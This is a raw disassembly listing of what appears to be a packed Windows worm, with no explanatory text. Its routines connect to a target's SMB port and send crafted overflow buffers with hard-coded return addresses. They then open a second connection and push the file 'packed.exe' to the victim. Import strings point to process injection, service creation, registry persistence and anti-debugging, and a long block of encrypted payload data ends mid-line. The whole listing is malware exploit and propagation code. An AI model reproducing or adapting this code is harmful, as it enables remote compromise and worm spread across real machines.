var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_1C], 2 mov [ebp+var_1A], 8B00h mov eax, [ebp+arg_0] mov [ebp+var_18], eax push 6 push 1 push 2 call dword_601124 ; socket mov [ebp+var_8], eax push 10h lea eax, [ebp+var_1C] push eax push [ebp+var_8] call dword_60112C ; connect push 48h push offset unk_6020E0 push [ebp+var_8] call sub_604C6A push 89h push offset dword_602130 push [ebp+var_8] call sub_604C6A push 0A8h push offset dword_6021C0 push [ebp+var_8] call sub_604C6A push 0DEh push offset dword_602270 push [ebp+var_8] call sub_604C6A mov [ebp+var_20], al cmp [ebp+var_20], 30h jz short loc_604BBA cmp [ebp+var_20], 31h jz short loc_604BB1 jmp short loc_604BC0 ; --------------------------------------------------------------------------- loc_604BB1: ; CODE XREF: sub_604B25+88j mov [ebp+var_C], 1 jmp short loc_604BD0 ; --------------------------------------------------------------------------- loc_604BBA: ; CODE XREF: sub_604B25+82j and [ebp+var_C], 0 jmp short loc_604BD0 ; --------------------------------------------------------------------------- loc_604BC0: ; CODE XREF: sub_604B25+8Aj push [ebp+var_8] call dword_601140 ; closesocket xor eax, eax jmp locret_604C66 ; --------------------------------------------------------------------------- loc_604BD0: ; CODE XREF: sub_604B25+93j ; sub_604B25+99j push 3Eh push offset dword_602350 push [ebp+var_8] call sub_604C6A push 60h push offset dword_602390 push [ebp+var_8] call sub_604C6A push 0A0h push offset dword_6023F8 push [ebp+var_8] call sub_604C6A call dword_6010B0 ; GetTickCount and eax, 0FFFFh mov word ptr [ebp+var_4], ax cmp [ebp+var_C], 1 jnz short loc_604C22 push [ebp+var_4] push [ebp+var_8] call sub_604CA5 jmp short loc_604C2D ; --------------------------------------------------------------------------- loc_604C22: ; CODE XREF: sub_604B25+EEj push [ebp+var_4] push [ebp+var_8] call sub_604D9C loc_604C2D: ; CODE XREF: sub_604B25+FBj push 800h call dword_6010E0 ; Sleep push [ebp+var_8] call dword_601140 ; closesocket push [ebp+var_4] push [ebp+arg_0] call sub_604E6C test eax, eax jnz short loc_604C56 xor eax, eax jmp short locret_604C66 ; --------------------------------------------------------------------------- jmp short locret_604C66 ; --------------------------------------------------------------------------- loc_604C56: ; CODE XREF: sub_604B25+129j cmp [ebp+var_C], 1 jnz short loc_604C63 xor eax, eax inc eax jmp short locret_604C66 ; --------------------------------------------------------------------------- jmp short locret_604C66 ; --------------------------------------------------------------------------- loc_604C63: ; CODE XREF: sub_604B25+135j push 2 pop eax locret_604C66: ; CODE XREF: sub_604B25+A6j ; sub_604B25+12Dj ... leave retn 4 sub_604B25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604C6A proc near ; CODE XREF: sub_604B25+40p ; sub_604B25+52p ... var_600 = byte ptr -600h var_5BC = byte ptr -5BCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 600h push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_601130 ; send push 0 push 600h lea eax, [ebp+var_600] push eax push [ebp+arg_0] call dword_60113C ; recv mov al, [ebp+var_5BC] leave retn 0Ch sub_604C6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604CA5 proc near ; CODE XREF: sub_604B25+F6p var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_2F2 = byte ptr -2F2h var_2E = byte ptr -2Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 37Ch push 86h push offset dword_6024A0 lea eax, [ebp+var_378] push eax call sub_6039D1 lea eax, [ebp+var_2F2] mov [ebp+var_4], eax push dword_601F54 push offset sub_601F58 push [ebp+var_4] call sub_6039D1 mov eax, [ebp+var_4] mov cx, [ebp+arg_4] mov [eax+100h], cx push 41h mov eax, 264h sub eax, dword_601F54 add eax, 60h push eax mov eax, [ebp+var_4] add eax, dword_601F54 push eax call sub_6039A7 mov eax, [ebp+var_4] add eax, 264h mov [ebp+var_37C], eax mov eax, [ebp+var_37C] mov dword ptr [eax], 2080Ah mov eax, [ebp+var_37C] mov dword ptr [eax+0Ch], 20804h mov eax, [ebp+var_37C] mov dword ptr [eax+30h], 20804h mov eax, [ebp+var_37C] mov dword ptr [eax+3Ch], 20804h push 20h push offset dword_602528 lea eax, [ebp+var_2E] push eax call sub_6039D1 push 0 push 36Ah lea eax, [ebp+var_378] push eax push [ebp+arg_0] call dword_601130 ; send push 400h call dword_6010E0 ; Sleep push 0 push 36Ah lea eax, [ebp+var_378] push eax push [ebp+arg_0] call dword_601130 ; send leave retn 8 sub_604CA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604D9C proc near ; CODE XREF: sub_604B25+103p var_4DC = dword ptr -4DCh var_4D8 = byte ptr -4D8h var_452 = byte ptr -452h var_2A = byte ptr -2Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 4DCh push 86h push offset dword_602550 lea eax, [ebp+var_4D8] push eax call sub_6039D1 lea eax, [ebp+var_452] mov [ebp+var_4DC], eax push 90h mov eax, 3E8h sub eax, dword_601F50 push eax push [ebp+var_4DC] call sub_6039A7 mov eax, 3E8h sub eax, dword_601F50 add eax, [ebp+var_4DC] mov [ebp+var_4], eax push dword_601F50 push offset sub_601DB8 push [ebp+var_4] call sub_6039D1 mov eax, [ebp+var_4] mov cx, [ebp+arg_4] mov [eax+104h], cx and [ebp+var_8], 0 jmp short loc_604E25 ; --------------------------------------------------------------------------- loc_604E1E: ; CODE XREF: sub_604D9C+A3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_604E25: ; CODE XREF: sub_604D9C+80j cmp [ebp+var_8], 10h jnb short loc_604E41 mov eax, [ebp+var_8] mov ecx, [ebp+var_4DC] mov dword ptr [ecx+eax*4+3E8h], 20804h jmp short loc_604E1E ; --------------------------------------------------------------------------- loc_604E41: ; CODE XREF: sub_604D9C+8Dj push 20h push offset dword_6025D8 lea eax, [ebp+var_2A] push eax call sub_6039D1 push 0 push 4CEh lea eax, [ebp+var_4D8] push eax push [ebp+arg_0] call dword_601130 ; send leave retn 8 sub_604D9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604E6C proc near ; CODE XREF: sub_604B25+122p var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_1C], 2 mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov ax, [ebp+arg_4] mov [ebp+var_1A], ax push 6 push 1 push 2 call dword_601124 ; socket mov [ebp+var_4], eax push 10h lea eax, [ebp+var_1C] push eax push [ebp+var_4] call dword_60112C ; connect cmp eax, 0FFFFFFFFh jnz short loc_604EB6 push [ebp+var_4] call dword_601140 ; closesocket xor eax, eax jmp short locret_604F00 ; --------------------------------------------------------------------------- loc_604EB6: ; CODE XREF: sub_604E6C+3Bj push 0 push 8000080h push 3 push 0 push 1 push 1 push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" call dword_60109C ; CreateFileA mov [ebp+var_8], eax push 1 push 0 push 0 push 0 push 0 push [ebp+var_8] push [ebp+var_4] call sub_604F0A mov [ebp+var_C], eax push [ebp+var_8] call dword_601070 ; CloseHandle push [ebp+var_4] call dword_601140 ; closesocket mov eax, [ebp+var_C] locret_604F00: ; CODE XREF: sub_604E6C+48j leave retn 8 sub_604E6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_604F04 proc near ; CODE XREF: sub_603C3B+247p ; sub_603C3B+261p jmp dword_601114 sub_604F04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_604F0A proc near ; CODE XREF: sub_604E6C+77p jmp dword_6010E8 sub_604F0A endp ; --------------------------------------------------------------------------- dd 31Bh dup(0) dd 10440000h, 454B0060h, 4C454E52h, 642E3233h, 80006C6Ch dd 61657243h, 754D6574h, 41786574h, 65478000h, 73614C74h dd 72724574h, 8000726Fh, 6E65704Fh, 6574754Dh, 80004178h dd 61657243h, 65526574h, 65746F6Dh, 65726854h, 80006461h dd 74697257h, 6F725065h, 73736563h, 6F6D654Dh, 80007972h dd 74726956h, 416C6175h, 636F6C6Ch, 80007845h, 6C707544h dd 74616369h, 6E614865h, 656C64h, 6C654480h, 46657465h dd 41656C69h, 61578000h, 6F467469h, 6E695372h, 4F656C67h dd 63656A62h, 47800074h, 72507465h, 6441636Fh, 73657264h dd 4C800073h, 4C64616Fh, 61726269h, 417972h, 6F6C4380h dd 61486573h, 656C646Eh, 65478000h, 69724474h, 79546576h dd 416570h, 74736C80h, 6E656C72h, 47800041h, 6F4C7465h dd 61636967h, 6972446Ch, 74536576h, 676E6972h, 80004173h dd 646E6946h, 736F6C43h, 46800065h, 4E646E69h, 46747865h dd 41656C69h, 69468000h, 6946646Eh, 46747372h, 41656C69h dd 78458000h, 646E6170h, 69766E45h, 6D6E6F72h, 53746E65h dd 6E697274h, 417367h, 6F6C4780h, 466C6162h, 656572h, 6F6C4780h dd 416C6162h, 636F6C6Ch, 65478000h, 6D655474h, 6C694670h dd 6D614E65h, 80004165h, 61657243h, 69466574h, 41656Ch dd 74654780h, 72727543h, 50746E65h, 65636F72h, 80007373h dd 57746547h, 6F646E69h, 69447377h, 74636572h, 4179726Fh dd 6C5F8000h, 61657263h, 5F800074h, 6F6C636Ch, 80006573h dd 54746547h, 436B6369h, 746E756Fh, 72438000h, 65746165h dd 636F7250h, 41737365h, 736C8000h, 6D637274h, 80004170h dd 65447349h, 67677562h, 72507265h, 6E657365h, 45800074h dd 50746978h, 65636F72h, 80007373h, 61657243h, 68546574h dd 64616572h, 65478000h, 646F4D74h, 46656C75h, 4E656C69h dd 41656D61h, 736C8000h, 70637274h, 416E79h, 74654780h dd 74737953h, 69446D65h, 74636572h, 4179726Fh, 65538000h dd 6C694674h, 74744165h, 75626972h, 41736574h, 6F438000h dd 69467970h, 41656Ch, 74654780h, 72727543h, 54746E65h dd 61657268h, 644964h, 656C5380h, 0FF007065h, 0F0FFFFFFh dd 55006010h, 33524553h, 6C642E32h, 4380006Ch, 55726168h dd 72657070h, 77800041h, 69727073h, 4166746Eh, 0FFFFFF00h dd 6010FCFFh, 32535700h, 2E32335Fh, 6C6C64h, 8000000h dd 0E000000h, 41535780h, 74636F49h, 6Ch, 0 dd 900h, 700h, 9600h, 57800B00h, 6F534153h, 74656B63h dd 41h, 3300h, 1600h, 1400h, 300h, 1200h, 500h, 1100h dd 0F00h, 200h, 7200h, 100h, 0A00h, 0FFFF0C00h, 1000FFFFh dd 44410060h, 49504156h, 642E3233h, 80006C6Ch aStartservicect db 'StartServiceCtrlDispatcherA',0 aAopenservicea db '€OpenServiceA',0 aAopenscmanager db '€OpenSCManagerA',0 aAcloseserviceh db '€CloseServiceHandle',0 aAdeleteservice db '€DeleteService',0 aAsetservicesta db '€SetServiceStatus',0 aAregisterservi db '€RegisterServiceCtrlHandlerA',0 aAchangeservice db '€ChangeServiceConfigA',0 aAcontrolservic db '€ControlService',0 aAregclosekey db '€RegCloseKey',0 aAregsetvalueex db '€RegSetValueExA',0 aAregcreatekeya db '€RegCreateKeyA',0 aAsetsecurityin db '€SetSecurityInfo',0 aAchangeservi_0 db '€ChangeServiceConfig2A',0 aAstartservicea db '€StartServiceA',0 aAcreateservice db '€CreateServiceA',0 db 3 dup(0FFh) dd 6010E8FFh, 57534D00h, 4B434F53h, 6C6C642Eh, 72548000h dd 6D736E61h, 69467469h, 8000656Ch, 0 MEW ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write __u_____ segment para public 'BSS' use32 assume cs:__u_____ ;org 606000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing dword_606000 dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 7C801D77h, 7C80ADA0h ; DATA XREF: __u_____:00606018o dd 0 dd offset dword_606000 dd 60012Ch, 601750h, 601180h, 7501A75Dh, 70B60856h, 0AB2A235h dd 1FE505A3h, 238D9A0Ah, 7180C3Ah, 9A65D37h, 0D93B534h dd 45C380Ah, 52404D58h, 11634D3Dh, 82241A9h, 918544B5h dd 0E901068Ah, 9F96411h, 94D948CDh, 55C41825h, 94D0C4Ah dd 1008A75h, 601180BAh, 0D038B9E0h, 0E8387005h, 77FC410Fh dd 991FC417h, 14680337h, 80140026h, 0E2425D32h, 870C2FAh dd 730378EEh, 2E656F6Ch, 6B0E1D01h, 1E38A869h, 5D6A373Ch dd 476E1C30h, 802B7332h, 38282E6Bh, 396D2F1Dh, 0A325278Fh dd 1E3B3334h, 15A72C66h, 87E9207Ch, 6E2B7E80h, 3E246480h dd 6F3F0A65h, 0F503433h, 2821303Ah, 5C6B6E39h, 0E5AB7108h dd 770463Ch, 1D737C77h, 0C02A412Ch, 3E2B2E74h, 4EED3230h dd 38730E0Ch, 0B21C5525h, 9739070Ah, 0E7DF32Ah, 0BA2BE43Dh dd 106EF83Eh, 9F29EE2Ch, 0D9085D14h, 40BA3C32h, 0D73A2B37h dd 1ABBFE3Bh, 0B7295A3Dh, 2457183Ah, 383B32A3h, 0B7C13134h dd 45DA0E18h, 5E9E51CEh, 3E149873h, 5DF73529h, 0B8CF612h dd 0FCE32D9Eh, 14AE7139h, 4FB6306Eh, 6FBF9D3Ah, 669274A8h dd 67263F99h, 2D2B2428h, 0FFDFD718h, 39BC4494h, 6C1C08D0h dd 0AE24788Bh, 0F44FDF6Fh, 2DDC0688h, 90831C31h, 397C32AEh dd 41B7D2D1h, 5C68A1C3h, 2AAD3B9Bh, 0F285324Eh, 2022EF2Fh dd 1E341307h, 9E04E916h, 0CA570F6Fh, 0F1FFD08h, 9F023114h dd 3C0D39B0h, 6E11E30Eh, 0FC0176Fh, 0FE100B34h, 6C1FC61Ah dd 6761D26Bh, 6D65690Eh, 17852FB8h, 34133412h, 71065A15h dd 12154823h, 12B109AAh, 47BFC76Dh, 86F566Eh, 646903EBh dd 2614990Ah, 13322810h, 40686251h, 70A6502Eh, 0FDE2014h dd 9F4E0692h, 75CA193Eh, 74210C4Bh, 4EE18B28h, 92C416Ch dd 0C7C833Fh, 0B5093408h, 6E1D1052h, 25146D1Dh, 0F90791Ch dd 74242F48h, 421B3E49h, 7E88482Ch, 28303FF6h, 2D3E0C3Ah dd 0F832482Fh, 7E31731Dh, 0C5412855h, 578F2A29h, 26322D01h dd 30F25C3Ah, 0F420EDAh, 332A4917h, 3E7DD7D3h, 494146A8h dd 226D3901h, 836ACF58h, 5D1C8228h, 918948BFh, 0FA4C901Fh dd 34FB1A6Ah, 24A6626h, 0DEAE198Ch, 716F324Dh, 78B244F7h dd 32263318h, 241A8629h, 128A0C61h, 2838C52Bh, 2D2A742Eh dd 422D1B14h, 0E78FD098h, 2893BE5Fh, 0AD79C437h, 79BF827Bh dd 343248FDh, 94362AC5h, 22102DACh, 8A436F61h, 0A824FE24h dd 0FE6D011Bh, 0D932EE65h, 0B4319408h, 818A9438h, 0FEA4FD79h dd 282FA1CEh, 0FF74DF02h, 4DB5D07Bh, 0AA5C8B6Dh, 6EC93E48h dd 0A07B0824h, 5DEC9E20h, 28CD18A5h, 0B90681Ah, 7A22CEDBh dd 657CAC5Dh, 3B302C39h, 559176E0h, 4D283314h, 36DC7D12h dd 68EEF7ACh, 311B0C19h, 0F6D35D4h, 0AA1248F8h, 0E523631Eh dd 3039190Dh, 77342DE8h, 9C89173h, 0AD2A3B06h, 72104998h dd 6D98686Fh, 85690DC9h, 0D775D69h, 69011B68h, 0A109ADFFh dd 779F1806h, 8F6A7F5Eh, 0DB7761F1h, 727DA1C7h, 2020620Ch dd 777E3E14h, 9618B172h, 62600D18h, 0D62EEE18h, 90320576h dd 1F6252DCh, 2E0BA873h, 8C0B903Eh, 73F9FF10h, 0B23616A6h dd 28967E4Bh, 0E1C0D1Ch, 17A0486Bh, 294A394Ch, 28C4442Eh dd 861F9FC6h, 33242B50h, 0A0EF240Ch, 2948F9D5h, 8C0D5612h dd 62C5446h, 0D8806952h, 63702835h, 0FC810BAEh, 0DDD8597Fh dd 0B24555Dh, 5C12671Ah, 0A3E79B64h, 92491018h, 562434A8h dd 0AD9A3474h, 7DCA33CAh, 10A10A1Ah, 6019110Fh, 97A03310h dd 978393Ch, 356C1B49h, 0F41F281Ch, 84A10AE5h, 0DC0301C8h dd 97B2A299h, 5FB61931h, 7BB536C8h, 80E80A4h, 0D60A0B03h dd 0A1457931h, 9DC6118h, 5E251F58h, 18175888h, 80F07D07h dd 146FBE1Eh, 77C69DFh, 0A1A26EA8h, 67F19D30h, 5A290799h dd 0F050929Ch, 66AFB6A5h, 49792106h, 0ED48BC28h, 51B13B03h dd 41129016h, 5459667Eh, 52C7A898h, 6000302h, 0DC7919D4h dd 0F67BA1Eh, 0DE177C55h, 9E039977h, 46D3703h, 0F944EB39h dd 69E5106h, 83461E41h, 0B1DE5526h, 60C41073h, 45C8350Dh dd 7949E8D4h, 14B7000Ah, 8BA2B5D7h, 28E85B37h, 0D48DDCFBh dd 24591830h, 417ED786h, 511690B4h, 5313D304h, 946E01B1h dd 0C943E43Bh, 0C284F40Ch, 0F96CD11Dh, 902183Bh, 7B85D654h dd 44EB0A0Eh, 1B29BA45h, 24C1164Dh, 4511CA9Bh, 72563300h dd 0C9511451h, 435FD15Ch, 0DF665552h, 0E18E502h, 0A9DD597Ah dd 99D6C3BEh, 0DAFE4D37h, 0F9525560h, 839A2D47h, 17054631h dd 0E7B673F0h, 20DA3132h, 0B8211061h, 84DB7214h, 0E710D63Eh dd 8B20C8Fh, 0A1474045h, 81D680A3h, 0ECF392A3h, 0E35FFh dd 0D84D082Fh, 5732239Dh, 159190Dh, 52B8B651h, 0BB804514h dd 80471106h, 282C7BDAh, 26B0DE51h, 44D7A3C5h, 14C18D53h dd 3DBD93B2h, 0CA4E5D08h, 92DF680Eh, 1C45A02Dh, 32F6A26Fh dd 1D5E390Fh, 0A1E4DC6Dh, 0F0412D07h, 3552571h, 21FE9C26h dd 0E5DD95Dh, 2D36857Eh, 0A51D841Dh, 2B813598h, 5A5D2191h dd 0B2498B9Dh, 7DD7C828h, 1B163A1Eh, 0BB13189Ch, 0A03E0DEFh dd 527D1A42h, 5D8D021Ch, 2B7FA44h, 1E5D0232h, 0ACBD848h dd 0A2F1F10h, 955B0128h, 54A28A6Ch, 0FE3F07A3h, 1E0D185Fh dd 0A09E27Dh, 160F121Eh, 1AECF43Dh, 10781CEEh, 6D736C19h dd 13E51130h, 0B0645EBh, 3BCE163Dh, 319F2FAEh, 0DF3A3608h dd 972D28F1h, 60C6E1Eh, 0C310513Ch, 6D056F48h, 0CF334A8Fh dd 16792EBBh, 327D0937h, 0FD166D36h, 0F929754Bh, 0C82E1090h dd 4D7F5E5Ah, 48DF5177h, 574C59C5h, 0A47D1532h, 0DD078906h dd 9CA2FD34h, 0D570EA0h, 17CA0388h, 8ABD55DFh, 0F90A8F5Ch dd 39FD334Ah, 2AFD32FDh, 77B22EFDh, 2A86DF2h, 7E91200Ah dd 24685664h, 73683CF6h, 87F15310h, 55C4B05Eh, 1E87227Dh dd 0C2C80A42h, 5C135E59h, 241B0529h, 0C8081A94h, 0FF5B791Dh dd 0FF4D3394h, 4881202Ah, 15BDD5D7h, 103112FDh, 441624h dd 0B9AF2737h, 0F2754114h, 29786D02h, 970E3A4Dh, 4867D9E6h dd 238628E0h, 0E5C27D5Ch, 1B6D0257h, 0D28B762h, 325210BEh dd 61140201h, 62FD792Ch, 65F80147h, 0FF400801h, 81551074h dd 45D34059h, 3B8380CEh, 984BFA12h, 535CC217h, 5ECB275Fh dd 0FD84D4ECh, 545E1A80h, 841FA8C9h, 67E10A85h, 0C128270Eh dd 88784868h, 0D6812E9h, 15FA374Bh, 1CB40F8Fh, 297409E3h dd 0C17BAFCCh, 146CF04h, 9F1450F9h, 54FD1809h, 56FC581Fh dd 72715E6Dh, 0FBE5841Ch, 6CBA04AFh, 12950600h, 2D1F166Fh dd 4FC08E4Bh, 0E21A0725h, 0D5BC2933h, 3B591CACh, 41B6D780h dd 0B5C24C94h, 4D76D4A0h, 0CE3D152Bh, 0A8393BE5h, 0CD84104Ah dd 6140065Eh, 124161C3h, 4EA2BD59h, 2917371Ch, 7EE7A84Ah dd 410D01A2h, 0FDD71866h, 0B4A19E1Fh, 5925225Eh, 0D04208A7h dd 0D9B51F7Ch, 0AA87A2A4h, 0CD3E0233h, 29A0869h, 263C3D8Ah dd 0AC329658h, 0B0975659h, 15C95E1h, 0DD112194h, 289A0B59h dd 0DA7AB014h, 59DD888Fh, 0C08835C7h, 0FEDC2FEEh, 5F484285h dd 0A9B208B4h, 900D09D1h, 0BB63208h, 2F7396D8h, 37963806h dd 74916F59h, 25083662h, 0D608002Dh, 4DE4DEB1h, 0AD7F38E6h dd 0A9189A03h, 0BE3D75BDh, 9A56716h, 33B5F3A1h, 0AD288561h dd 0CA074549h, 18D01868h, 31F3A20Dh, 0D81E8006h, 0B558289Dh dd 54ABDD09h dd 5922054Bh, 949D6E0Ch, 0C20C979Eh, 4A0DA162h, 0DC9F0D08h dd 3DB0CDD5h, 0B4C31B5h, 8389530Eh, 0EF402DD8h, 5C6C350Dh dd 6419922Dh, 49CFB14Ch, 31BC9335h, 0B6B3BD20h, 64649B3h dd 3DEA47FBh, 8D3045D9h, 457D2016h, 0D125F48Ch, 0A9881ABCh dd 0A599DE8Eh, 10327D37h, 0BA211289h, 41D65AB6h, 0BED41D86h dd 0B920BE08h, 37789458h, 4854DD3Ah, 0C0852925h, 0B65F2983h dd 49F02150h, 56B59361h, 30684422h, 4C4808D8h, 7591BF23h dd 804F371Bh, 55454FA6h, 0FBB5A69Fh, 431135A4h, 26D628A2h dd 0BD375943h, 0DD033BCCh, 812BC8D8h, 72A20237h, 2A5F13CFh dd 4F45CA4Dh, 7DA65797h, 113D8571h, 34309461h, 0B74C4385h dd 89B10981h, 49A912ADh, 1743A578h, 0C73C45D0h, 0DB10C8Dh dd 0BD6C9094h, 0B8826922h, 93655306h, 98551A1h, 42912E91h dd 0B95E640Dh, 5C42E01Ch, 0DD0BFD0h, 5FAC6522h, 4A9935E2h dd 0A145D823h, 0DF9E1251h, 0A546DB69h, 0B807E718h, 514309A2h dd 0B50BA123h, 0AED1AAB0h, 0A4CA48D9h, 45659551h, 18DD9B83h dd 35192A14h, 63C44BF2h, 9A054DA0h, 190B0F58h, 0F1220AB4h dd 1A3BDC44h, 16ED78DEh, 3FB84D1Ah, 0B9AE75E7h, 9F994837h dd 16321A0Ah, 51BB4CE1h, 2DDE1755h, 0C145FEAEh, 9F09BC9Ch dd 40CCB259h, 91747C0Eh, 59484769h, 0B9796614h, 0AC0E488Bh dd 259469D4h, 49C81694h, 0A012B587h, 9F94A2CFh, 48418855h dd 1908FD6Ah, 0D5B50958h, 60630DAFh, 487A4F2Dh, 2828789Ah dd 0C81B67Fh, 0FC3B10F5h, 0FE06A199h, 2C0649F1h, 88BD2944h dd 44D17DB6h, 0F944992Eh, 2885221Fh, 0C42068A2h, 24C7DF0h dd 48B9D8D4h, 0A3E0DEB3h, 58BA0B06h, 0A2AA10B4h, 4F31080Dh dd 1906FC94h, 0D60B35FEh, 0E5F52554h, 956516B1h, 9A3B01A7h dd 0F9B99DDh, 0BA6CC75Fh, 8A9B2CC7h, 480C997Bh, 77FEB579h dd 12EBD31Dh, 374521B1h, 76BA6259h, 0CB355536h, 481D21FFh dd 0CC487511h, 5648D02Ah, 7122150Dh, 83AA18D0h, 3D446935h dd 6758250Bh, 0F1FE51E0h, 0CDE14948h, 1B191068h, 9B6D370Ch dd 0A5126ECh, 0D0154479h, 576664B5h, 815A7DFFh, 29D6D532h dd 6E0BAA28h, 7D6245AAh, 4D965AACh, 61841335h, 8969B77Ch dd 1F1923D6h, 36E65FEh, 0B5F884CEh, 0E885489h, 0ECA6A79Dh dd 9163E34h, 42071411h, 50663E0Dh, 44522E23h, 0D97F760Eh dd 661FB162h, 28538258h, 53C9F05Fh, 28842791h, 2A68474h dd 7D2E1D08h, 41503099h, 57D1D429h, 0B424DA36h, 6E0740BCh dd 0FCD5289Dh, 3BD34AF2h, 453911Ah, 0D0228183h, 0C90D0DA4h dd 27ADEED4h, 12933517h, 0EAC2DEBAh, 0D21A3EC1h, 7E39E511h dd 9AE1762Ah, 0D9D00A3Dh, 0D1E5BD58h, 92D51461h, 0A93F6D87h dd 4A2A8622h, 5E4BCD61h, 426B3722h, 7B9682Eh, 9A89F432h dd 520602E7h, 4834C4E3h, 507B9E3Fh, 79B50FE8h, 915D64A5h dd 1BFC1CA9h, 0CB744329h, 1A1E439Bh, 3854412Ah, 3FD21DA9h dd 8671B614h, 12A876E2h, 0D1D426Bh, 6B133092h, 8E25B5E9h dd 495BB6A3h, 427736CCh, 3B639EE1h, 0BF8D7DC3h, 1FE1A246h dd 1AABE110h, 9413CBB4h, 0D815ED31h, 5F4159C8h, 120198A6h dd 1D3CD195h, 0BC1E0444h, 53391A25h, 0A1863143h, 924A05A0h dd 1E2308E8h, 94797D24h, 79895E72h, 95550204h, 67B50353h dd 174A7328h, 0E11B6652h, 0FDB5A8B8h, 69589151h, 5505CAA4h dd 7A0D9B5Dh, 57B6244Bh, 0A0654D20h, 0B5EA3119h, 0D1533243h dd 0B45A1A7Eh, 30AD637Ah, 68331720h, 0F93516BDh, 81544F26h dd 7438E582h, 961A64CDh, 373FC92Ah, 0E490B4C4h, 4BADD163h dd 0CB1A7124h, 946D512Ah, 29159620h, 353EC144h, 0B50D1D49h dd 212F4D86h, 8A910591h, 0FCAB453Ch, 564299B5h, 94E7B120h dd 799E0658h, 0AE0FEE8Bh, 125A5308h, 0F5663E6Dh, 8C184961h dd 0A1FB5006h, 289C1466h, 20419A53h, 44142820h, 1FAE405Fh dd 512EFA46h, 111F21B4h, 7CB41477h, 0F3D588ACh, 60DE06D0h dd 214F1394h, 58B4B510h, 12EE5072h, 0B6D2E9B4h, 566DB6D9h dd 8F10F207h, 0F5E09D57h, 310F5402h, 0D7B6487Dh, 675CDC12h dd 0ECAACF13h, 1D7C5921h, 0C8130FA9h, 202AA012h, 0B42859E3h dd 0DD486C15h, 84C5A885h, 0E553604Ah, 11D64182h, 87D421Dh dd 3807B919h, 8B793310h, 0C8761FEDh, 0C46966B5h, 5B293772h dd 0BD139B34h, 11A22E62h, 61FE024Ch, 6051FCE4h, 70289A06h dd 0D64532Fh, 0CE5E8118h, 651E4404h, 2A2245B2h, 788A589Ah dd 9B0849E4h, 8DB5500Ch, 0C7B4C5C6h, 21352915h, 0DD951AEh dd 0DE268B58h, 7EAB6366h, 35FC433Fh, 0C14A913Dh, 52B9133h dd 0F8B1CE3Bh, 0E7A29C94h, 8F26887Dh, 0BDC082C9h, 804972A6h dd 53223B06h, 52090934h, 50A863D9h, 819440Dh, 21859A7h dd 1B4016FFh, 11908564h, 0A25CA510h, 0C8C4070Ch, 52290F50h dd 0CC770938h, 0B447C82Ch, 2035BF57h, 0DF85735h, 73573420h dd 57312042h, 33200DCAh, 2CC88742h, 0C834D715h, 1A1F1128h dd 5025D2B4h, 0BD8EA122h, 9AE54939h, 67B50CD4h, 2BB464ABh dd 89FC5F39h, 71845C1Dh, 0E89D827Dh, 0BD74212Dh, 0DEA5C3A9h dd 0D6EA5F8h, 0A8A1E8BEh, 0D65314E2h, 3D6810D8h, 2454BF08h dd 2809F95Eh, 1301CA20h, 29AA64D3h, 9AB07915h, 799D36F4h dd 0D60A12DDh, 46BB18D0h, 0C65C141Fh, 289B5519h, 0D9D56A80h dd 515D503Ch, 0DA0D0660h, 0DEB60788h, 0A3940FA4h, 80225D1Eh dd 51D051EEh, 0F4300AD8h, 0CAA3546Bh, 855C46C7h, 0C6306A28h dd 0B385350Dh, 0F5654CFh, 0D1408D48h, 0B53EAC76h, 4685AA86h dd 5A84A89Dh, 4849C1FCh, 2E792A6Bh, 68A1A8CBh, 0C85A869Ah dd 53D04F25h, 2CFD8B55h, 7D4FB552h, 8D1C48C3h, 8D06491Dh dd 228C9C7Eh, 83744D8Fh, 4C34D183h, 4F891591h, 65688281h dd 8A45914Ch, 0B92FA670h, 0C89E14A6h, 26566134h, 56FA9935h dd 1AB50E88h, 3C18A449h, 62C246DFh, 99AB2D35h, 19D94A62h dd 1A752FBAh, 72D4322Ah, 4DE9214Ch, 3531F6A0h, 5EB5AFE5h dd 3EDA89A6h, 200CF128h, 0E0EAA5AAh, 29EB5B59h, 5664526Dh dd 9C86109Ch, 194A94C1h, 5F3CFACh, 0C3816B6h, 0A5BB20CBh dd 0C0822137h, 8458E9A1h, 3C21A14Bh, 12ACD650h, 72B3AF87h dd 15A50E25h, 24A591FEh, 0FEAEF116h, 8E442BEh, 87B4711Fh dd 0C52C10B7h, 11D6E8E4h, 0E52951EDh, 46B5124Ah, 0DC49432Eh dd 0EADF1A27h, 0E231F85Dh, 26D6BA46h, 0AF54E5D8h, 2AF85291h dd 9B460F5Eh, 400F81D8h, 0F58B805Fh, 0D08339E0h, 0C879D311h dd 114CBD3Eh, 969E84BFh, 5998191h, 35056A59h, 7A12FD48h dd 